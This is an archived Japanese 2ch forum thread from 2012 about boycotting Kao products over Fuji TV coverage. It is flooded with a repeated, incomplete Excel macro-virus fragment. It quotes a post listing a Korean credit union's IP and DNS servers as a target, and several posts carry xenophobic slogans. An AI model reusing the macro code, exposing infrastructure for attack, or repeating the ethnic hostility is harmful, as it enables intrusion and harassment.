5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【賛同者限定】花王製品の不買運動 すすぎ214回目

1 :可愛い奥様:2012/03/25(日) 10:55:17.46 ID:qryZxcnP0
★韓流を過度に持ち上げる一方、日本を貶める偏向・捏造報道の酷いフジテレビへの抗議の手段として生まれた、
スポンサー花王の製品不買運動について語るスレです★

・家庭で使用している花王製品を、他社のものに換える。
・贈答品(お中元・お歳暮・その他お祝い)に他社のものを選んで贈って、良さを知ってもらう。
・花王、フジテレビの実態を明らかにしたチラシなどを有志で用意し、配布をする。
・フジテレビ抗議デモ・花王抗議デモ等の話題をきっかけにして、口コミで伝える。
・贈答品(お中元・お歳暮・その他お祝い)で花王製品を頂いた場合、発送元のデパートに返品する。(包装紙・発送伝票と共に持ち込みが必要。相当額の商品券と交換してくれる。詳細は各デパートへ)
・不買の意思を示すために「すでに購入済みのもの」を返品したい場合は元払いで。(返品の意思を伝え、事前に相手の承諾を得た上で送るのもよい)
・返品分に関しては返金を求めない。不買の理由と今後の改善ポイント、ユーザーとしての要望などを明確に告げる。
・花王のスポンサーとしての姿勢、商品に対する疑問などを電話やメールで問い合わせる
・各自自己責任で、みだりに他人を煽らず淡々と続ける。

●花王・カネボウ不買運動 まとめWiki http://okusama.jpn.org/kao/
●日用品の代替まとめwiki http://www16.atwiki.jp/household/
●花王本社平日デモ 公式サイト http://kaodoff.blog.fc2.com/
●避難所 http://jbbs.livedoor.jp/news/5402/
●参考スレ
花王製品の代替品を教えてください26品目
http://ikura.2ch.net/test/read.cgi/ms/1330672482/
【応援】良心的な小売店【反花王】 5店目
http://ikura.2ch.net/test/read.cgi/ms/1326905049/
可愛い奥様ポスティング部 チラシ13枚目
http://ikura.2ch.net/test/read.cgi/ms/1330410335/
【4452】KAO・花王part38【政投銀から百億円ゲットン】
http://hayabusa3.2ch.net/test/read.cgi/livemarket1/1331558303/

●前スレ
【賛同者限定】花王製品の不買運動 すすぎ213回目
http://ikura.2ch.net/test/read.cgi/ms/1332392655/



95 :可愛い奥様:2012/03/25(日) 20:52:56.09 ID:GJ1DA9jW0
チーム関西荒巻さんが生主やってる
http://live.nicovideo.jp/watch/lv86724351?ref=community

96 :可愛い奥様:2012/03/25(日) 20:54:28.00 ID:4lddMQjP0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

97 :可愛い奥様:2012/03/25(日) 20:59:01.97 ID:VbZ0AAwl0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

98 :可愛い奥様:2012/03/25(日) 21:01:21.48 ID:VbZ0AAwl0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

99 :可愛い奥様:2012/03/25(日) 21:03:28.17 ID:VbZ0AAwl0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

100 :可愛い奥様:2012/03/25(日) 21:05:31.50 ID:VbZ0AAwl0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

101 :花王・カネボウ不買運動 まとめWiki ◆/luJXba7aQF3 :2012/03/25(日) 21:09:41.72 ID:Ym8fGHis0
またK5ですか




650 名前:名無しさん@お腹いっぱい。(備前・備中・美作國)[sage] 投稿日:2012/03/25(日) 20:18:38.09 ID:p06Ym/ii0 [1/2]
ホルモンさんがすいとんありがとうございました。

>>646-647
ご連絡ありがとうございます。
おそらくUQ&埋めているスレ的にK5の気がするけど。
K5にしては投稿スピードがゆっくりかつ中途半端な感じ?

651 名前:名無しさん@お腹いっぱい。(摂津・河内・和泉國)[sage] 投稿日:2012/03/25(日) 20:21:41.62 ID:mFUYWsLS0 [3/3]
(´・ω・`)Lv1でsamba越えようと必死にスクリプト回してるんだろうか、
そのおかげか今もバーボンさんが頑張って食い止めてくれている。
いいことだ。
見つけたら連投とかで撃てばいいんじゃないかなー

102 :可愛い奥様:2012/03/25(日) 21:10:12.01 ID:BWOER0ie0
スカイツリーが開園するときにフジデモやろうって意見があったよ。
やるんなら「花王・ロート不買」って書いたプラカもって旦那と参戦する。
スカイツリーが見たいだけの名古屋人だけど。

103 :可愛い奥様:2012/03/25(日) 21:11:02.07 ID:KtXCBbOYO
こんばんはー(。・◇・。)ノ
盛り上がってるわね


104 :可愛い奥様:2012/03/25(日) 21:13:47.37 ID:KtXCBbOYO
>>102
どうせなら花王、ロート、サントリー、キリンぐらい書きなさいよ


105 :可愛い奥様:2012/03/25(日) 21:14:31.03 ID:r1x0P1980
◇◆◇◆◇拡散◇◆◇◆◇

【3月25日22時に、一斉に「#韓流は終わった #韓国さようなら 」とつぶやくデモ決行!】

ツイッターで韓流は終わったキャンペーンやっています。
本日22時に #韓流は終わった のハシュタグをつけて一斉につぶやきましょう!!


106 :可愛い奥様:2012/03/25(日) 21:18:23.00 ID:KtXCBbOYO
デモも大成功のようね
フジデモには異論ないから頑張って欲しいわね


107 :可愛い奥様:2012/03/25(日) 21:20:33.38 ID:BWOER0ie0
祝スカイツリー開園記念偏向報道反対デモが決まったら教えてね。
親切な奥様よろしく。

108 :可愛い奥様:2012/03/25(日) 21:22:01.46 ID:KtXCBbOYO
Wiki様もフジでもだけやってればよかったのに


109 :可愛い奥様:2012/03/25(日) 21:43:09.73 ID:qSP2aPHEO
>>1
スレ立て乙です。
>>69
お疲れ様でした!
今回は参加できず申し訳ない。
また必ず何かあれば参加します。
参加された皆さん、関係者の皆さん、お疲れ様でした。
ありがとうございました。
ポス頑張るよ。

110 :可愛い奥様:2012/03/25(日) 21:44:52.89 ID:7aMGGQQcP
さーて、ここでコソコソ姑息な工作をしてるのはどこの誰かしらー?

    ↓

297:以下、名無しにかわりましてVIPがお送りします[]
2012/03/25(日) 20:59:13.98 ID:fNQeZ8W60
ようおまいらwwwデモ行った奴らお疲れちゃんwww
がんばったおまいらに今から面白いショーでもしようと思うんだけどさww
遊んでみる奴いねえか?www今からVIPらしく安価で総連とマスコミ関連のドメインとIPアドレス晒そうと思うがどうよ?ww

候補は
フジ関連、朝日関連、読売関連、TBS関連、NHK関連、とある朝鮮総連支部、在日本朝鮮青年商工会。

この中から選んでくれやwww特別に安価順に4つ晒すわwww早い者勝ちなww

--- 以下スレ情報 ---
高岡さんがフジ韓流ゴリ押し批判したら干されたのでウジテレビ凸
http://hayabusa.2ch.net/test/read.cgi/news4vip/1332598346/297,306,310,315,317,319,323,328,332

111 :可愛い奥様:2012/03/25(日) 21:46:56.21 ID:7aMGGQQcP
340 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2012/03/25(日) 21:43:21.15 ID:fNQeZ8W60 [10/10]
鎮まれー俺の右手よーwwwなんちってwww

朝鮮信用組合
IP Address 61.58.39.176

Domain Name Servers
ns2.dns4domain.net 211.125.95.254
ns.dns4domain.net 211.125.95.253

Mail Exchange chogin-nishi.com 61.58.39.176
mail.chogin-nishi.com 61.58.39.176

へー台湾サーバーかwww

112 :可愛い奥様:2012/03/25(日) 21:49:30.16 ID:7aMGGQQcP
あら、まだ続いてるわw
コピペ連投はよくないから続きは奥様方が高岡スレで確認してね
・・・・・民主党ねー、へーへーへー(棒)

113 :可愛い奥様:2012/03/25(日) 21:50:12.15 ID:iNNDEOWz0
花王、大好き

114 :可愛い奥様:2012/03/25(日) 22:30:19.22 ID:qH8ODBTU0
夢だけで 終わるかな?

115 :可愛い奥様:2012/03/25(日) 22:51:31.86 ID:cvXmrFDb0
偏向報道是正、花王倒産、朝鮮人追放、被災地支援終了、瓦礫拡散反対!
目的は人それぞれですが、頑張って実現しましょう、花王不買!

116 :可愛い奥様:2012/03/25(日) 22:52:37.02 ID:NhYkFWBe0
>>115
> 偏向報道是正、花王倒産、朝鮮人追放、被災地支援終了、瓦礫拡散反対!
> 目的は人それぞれですが、頑張って実現しましょう、花王不買!

工作員乙

117 :可愛い奥様:2012/03/25(日) 23:01:08.45 ID:3jJEtEJQ0
お夜食お持ちしました

             __ .,,, _
        .     〈>´ ` くノ    ,,.- 、
          きこ  ミ^(゚)^ ミ    (,,■)旦
           きこ O┬Oヽ□─| ̄ ̄ ̄ ̄|
              ◎┴し◎   ◎ ̄ ̄◎
"""""""''''""""""""""""'''""""''''''""""""""""''''''"""""'''''

118 :可愛い奥様:2012/03/25(日) 23:02:00.52 ID:67vG2UqN0
【話題】木嶋佳苗被告と同世代の女性「風俗で働いていて、美人なのに佳苗のように稼げなかった。ブスなのに自分より稼ぐことが許せない」
http://uni.2ch.net/test/read.cgi/newsplus/1332573119/

119 :可愛い奥様:2012/03/25(日) 23:10:43.61 ID:cvXmrFDb0
工作員が分断工作をしているようですが、花王不買の意思を徹底しましょう!

120 :可愛い奥様:2012/03/25(日) 23:11:50.90 ID:x2E5MeM/0
花王は不買です。

121 :可愛い奥様:2012/03/25(日) 23:12:41.82 ID:NhYkFWBe0
●花王を倒産させよう
今回の不買運動の趣旨違い。日本企業を貶めるものではないので花王の倒産が目的でない。不快なフジTVの番組スポンサーを降りてもらうお願い行動。
スポンサーを降りてくれれば購入は可能

122 :可愛い奥様:2012/03/25(日) 23:16:23.78 ID:eoc8Mugs0
花王不買本社デモしましょ

123 :可愛い奥様:2012/03/25(日) 23:16:50.32 ID:cvXmrFDb0
>>121
テンプレは一つの指針でしかありません。
目的は人それぞれです。手の込んだ分断工作は止めてください。

124 :可愛い奥様:2012/03/25(日) 23:17:54.92 ID:T1DDtV820
花王不買。 キムテヒ誰? グンソク祭り終わってサッパリしたわ 二度とアルガードは使わない

125 :可愛い奥様:2012/03/25(日) 23:22:08.89 ID:7MKms6/b0
べつに花王が倒産しようがしまいがどうでもいいけどねw
前から何度か書いてるけど、私自身は花王製品は生涯二度と買わないと思うけど
花王がフジから手を引いてくれたら、拡散はやめてあげる。

でも、私が知ってる花王以外の良品を、友達に教えるのは自由だよね〜♪

126 :可愛い奥様:2012/03/25(日) 23:27:02.23 ID:NhYkFWBe0
513 名前:可愛い奥様[] 投稿日:2012/03/11(日) 19:37:00.56 ID:9auzQY/u0 [9/9]
さっきもちょろっと書いたけど、差別誘導コピペに気をつけて。

エベンギ、〜〜一家事件、内容はともかく、誘導コピペが秋から繰り返されてきた。
やるIDはだいたい、すいとんにかからない程度のマルチをしてくる。

花王カネボウ不買運動を嫌韓に貶める工作の1パターン。
嫌韓に誘導されると、本来の目的から外れ、なんだ、好き嫌いでやっているのか、という感じで運動が矮小化する。

127 :可愛い奥様:2012/03/25(日) 23:27:56.52 ID:HZlYIi54O
>>123
> テンプレは一つの指針でしかありません。
> 目的は人それぞれです。手の込んだ分断工作は止めてください。



成り済まし乙(^o^)

128 :可愛い奥様:2012/03/25(日) 23:30:25.80 ID:cvXmrFDb0
121 可愛い奥様 2012/03/23(金) 08:06:02.58 ID:Xhry0lqw0 1回目
おはようございます  今日も元気に花王(カネボウ)不買! 不要! 社会から追放!

1000 可愛い奥様 2012/03/25(日) 14:38:42.63 ID:7RpoU6OX0 6回目
1000なら花王はブラックホールに吸い込まれる

目的は人それぞれですよ、スレ住人の考えをねじ曲げる工作員が増えましたね。
まけずに花王不買を継続しましょう。

129 :可愛い奥様:2012/03/25(日) 23:32:10.13 ID:KtXCBbOYO
>>123
そうね
私もバブシリーズ以外は不買してるから


130 :可愛い奥様:2012/03/25(日) 23:35:34.86 ID:KtXCBbOYO
キュキュットも使ってるわね
でも、できる範囲で不買したらいいの


131 :可愛い奥様:2012/03/25(日) 23:36:31.28 ID:yWb2IFXm0

 ゚ ,   , 。 .   +  ゚   。  。゚ . ゚。, ☆ * 。゚. o.゚  。
。 .  .。    o   .. 。 ゚  ゚ , 。. o 。* 。 . o. 。 .
        。   .   。  . .゚o 。 *. 。 .. ☆ . +  .。
 。 .  . .   .   .  。 ゚。, ☆ ゚. + 。 ゚ ,。 . 。  。
゚。゚+゚`, o。。.゚*。゚ 。.゚ 。 ☆+。。゚. ° 。 .   ,      ゚
 。, .゚。 + ☆。,゚. o。 。+ 。゚.,  . ゚   ,   。     。   .
 ゚. o * 。゚。゚.。゚。+゚ 。 。 ゚。 ゚ 。  ゚。 。 ゚。 ゚ 。
゚` .゚ .゚. ゚. . ゚  .  ゚
                 ∧,,_∧
                ( ´・ω・)∧∧
                 /⌒ ,つ⌒ヽ)
        ( ̄(`;______o(___  (  __)___________
         ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ
        ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄
      ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ
     ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄
    ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ
   ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ
  ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄ノ ̄
 @==@==@==@==@==@==@==@==@==@==@==@==@==@==@==@

 子供たちと遊んでると楽しいお・・・ ボクがボスなんだお・・・

 子供たちと遊んでると いい運動になってダイエットになってるね
  かなりスリムになって引き締まってきたよ でもねボスには見えないなぁ
   まぁいいんだけれどもね・・・  さぁお夜食を食べにママさんのところへ帰るよ
                  では今日はこれで失礼するよ また明日ね じゃあにゃ♪





132 :可愛い奥様:2012/03/25(日) 23:39:07.00 ID:KtXCBbOYO
(。・▽・。)ノ

133 :可愛い奥様:2012/03/25(日) 23:48:15.93 ID:KtXCBbOYO
(。・◇・。)ノ<ネコさん寝たのにみんなスルーだお


134 :可愛い奥様:2012/03/25(日) 23:53:12.89 ID:kA9ZNaBu0
花王への要求が通らないのは相手が間違っているだけ、自分は正しいというばかりでは、いつまで経っても実現は遠く先のままでしょうね


135 :可愛い奥様:2012/03/25(日) 23:55:54.43 ID:cvXmrFDb0
一つのところに集めたうえで叩こうというのが工作員の狙いでしょうが、
それぞれの目的に向かってぶれることなく花王不買を継続しましょう!
おやすみなさい。

136 :可愛い奥様:2012/03/25(日) 23:56:55.74 ID:t8gGkWOw0
た、ただいま…。リアルに今帰宅。疲れたよー(><)
梅酒とお夜食置いて行きますねー。
  ∧ ∧
 ( ´・ω・)  おにぎりどうぞ〜。闇おにぎりもありますので、気をつけてね〜。
 ( ∪ ∪  ,.-、   ,.-、   ,.-、   ,.-、     ,.-、      ,.-、    ,.-、
 と__)__) (,,■)  (,,■)  (,,■)  (,,■)    (,,■)      (,,■)   (,,■)
       梅干  高菜 おかか こん棒 ごはんですよ わさび漬け 焼たらこ
          ,.-、   ,.-、      ,.-、      ,.-、   ,.-、   ,.-、    ,.-、
          (,,■)  (,,■)    (,,■)     (,,■)  (,,■)  (,,■)   (,,■)
          鶏飯 明太子 ちりめんじゃこ ゆかり  柴漬  塩辛 牛肉しぐれ
      ,.-、   ,.-、     ,.-、    ,.-、    ,.-、   ,.-、    ,.-、   ,.-、
     (,,■)  (,,■)    (,,■)   (,,■)   (,,■)  (,,■)   (,,■)  (,,■)
      鮭 鶏ごぼう  野沢菜  天むす ツナマヨ エビマヨ 鮭マヨ いちご

      ∧_∧  さぁ、眠りに落ちる前に、梅酒をお飲みよ
      (`・ω・´)  ウメッシュッ
      (つ   と彡  /
          /   /
         /    ./
       ///   /
      /│σ│ /
     /  └─┘/
お湯割り、サイダー割り、ロックもいけるよ!




137 :可愛い奥様:2012/03/25(日) 23:58:23.24 ID:sYd5+zqk0
>>136
いつもすみません。
こん棒お願いします。

ドキドキです。

138 :可愛い奥様:2012/03/25(日) 23:58:38.52 ID:t8gGkWOw0
>>56
  ∧ ∧     予約ありがとう
 ( ´・ω・.-、   ウメッシュと高菜だよ。
 ( つ (,,■)   気がついたら、食べてね。
 と__)__) 日 ラップかけておくからね。


139 :可愛い奥様:2012/03/26(月) 00:02:34.85 ID:3YwHcu+00
>>137       .-
━━∧_∧○━(,,■)
   ( ´・ω・) 
   ( U  ) こん棒おにぎりです、どうぞ♪
  と___)__)


140 :可愛い奥様:2012/03/26(月) 00:04:34.74 ID:U4bqqgsD0
>>131
ねこさん おやすみなさい♪

>>137
今日、フジデモ行ってお腹すいてるので
高菜と、いちご下さい♪

141 :可愛い奥様:2012/03/26(月) 00:05:13.98 ID:GkcWKQ6x0
お仕事お疲れさま!
いちごおにぎり、くださいな。

142 :可愛い奥様:2012/03/26(月) 00:07:28.90 ID:t8gGkWOw0
>>137

む、なんかずれちゃった。いじっちゃったかな、ゴメンね。
          .-、
━━∧_∧○━(,,■)
   ( ´・ω・) 改めて、これが本当の
   ( U  ) こん棒おにぎりです♪
   と___)__)


>>140
  ∧ ∧        みんな中々勇者だなぁ。
 ( ´・ω・.-、 .ж、   高菜といちごだよ。
 ( つ (,,■)(,,■)∬ いちごはヘタ付だから、とって食べてね。
 と__)__)    旦



143 :可愛い奥様:2012/03/26(月) 00:09:01.04 ID:3YwHcu+00
>>141
  ∧ ∧
 ( ´・ω・ж   お、またしても兵が。
 ( つ (,,■)∬ さぁさ、いちごちゃんだよ。どうぞ♪
 と__)__) 旦


144 :可愛い奥様:2012/03/26(月) 00:29:44.24 ID:3YwHcu+00
ふぁあ、ゴメンね。眠気MAXだよ。
後はよろしぅ。おやすみなさい(-_-)zzz
また、夕方過ぎにくるよ(^^)ノシ

145 :可愛い奥様:2012/03/26(月) 00:37:09.06 ID:SZpa+yQr0

しかし気持ち悪い馴れ合いだねえ


146 :敵は半島に在り ◆NO/5obSTOY :2012/03/26(月) 00:44:52.12 ID:n5oeRJcJ0
花王 カネボウ ロート ロッテ サントリー不買!!!

147 :可愛い奥様:2012/03/26(月) 00:58:41.76 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

148 :可愛い奥様:2012/03/26(月) 01:00:42.78 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

149 :可愛い奥様:2012/03/26(月) 01:03:20.74 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

150 :可愛い奥様:2012/03/26(月) 01:05:54.55 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

151 :可愛い奥様:2012/03/26(月) 01:08:31.47 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

152 :可愛い奥様:2012/03/26(月) 01:11:02.26 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

153 :可愛い奥様:2012/03/26(月) 01:13:31.61 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

154 :可愛い奥様:2012/03/26(月) 01:15:54.47 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

155 :可愛い奥様:2012/03/26(月) 01:18:16.15 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

156 :可愛い奥様:2012/03/26(月) 01:20:34.69 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

157 :可愛い奥様:2012/03/26(月) 01:22:53.20 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

158 :可愛い奥様:2012/03/26(月) 01:28:57.74 ID:NOTcs/zk0
VBみたいだけどあまり意味のないコードね
そのへんからコピペしてきてスレ潰しに使っているだけ

159 :可愛い奥様:2012/03/26(月) 01:51:59.00 ID:57slD4w10
一昔前に流行った手口、今はこんなことしてもグーグル様には排除されないから意味がない

160 :可愛い奥様:2012/03/26(月) 02:01:34.67 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

161 :可愛い奥様:2012/03/26(月) 02:02:45.17 ID:31ftCytO0
VBコードで意味なし
コピペしてる方もわからなくて、やっている。
ハングルにしたほうがいいんじゃない

162 :可愛い奥様:2012/03/26(月) 02:03:53.65 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

163 :可愛い奥様:2012/03/26(月) 02:06:12.18 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

164 :可愛い奥様:2012/03/26(月) 02:08:15.85 ID:31ftCytO0
花王はよくやりますね

165 :可愛い奥様:2012/03/26(月) 02:08:30.95 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

166 :可愛い奥様:2012/03/26(月) 02:10:49.62 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

167 :可愛い奥様:2012/03/26(月) 02:13:08.38 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

168 :可愛い奥様:2012/03/26(月) 02:18:36.90 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

169 :可愛い奥様:2012/03/26(月) 02:20:55.41 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

170 :可愛い奥様:2012/03/26(月) 02:25:37.78 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

171 :可愛い奥様:2012/03/26(月) 02:27:56.57 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

172 :可愛い奥様:2012/03/26(月) 03:00:19.16 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

173 :可愛い奥様:2012/03/26(月) 03:02:37.77 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
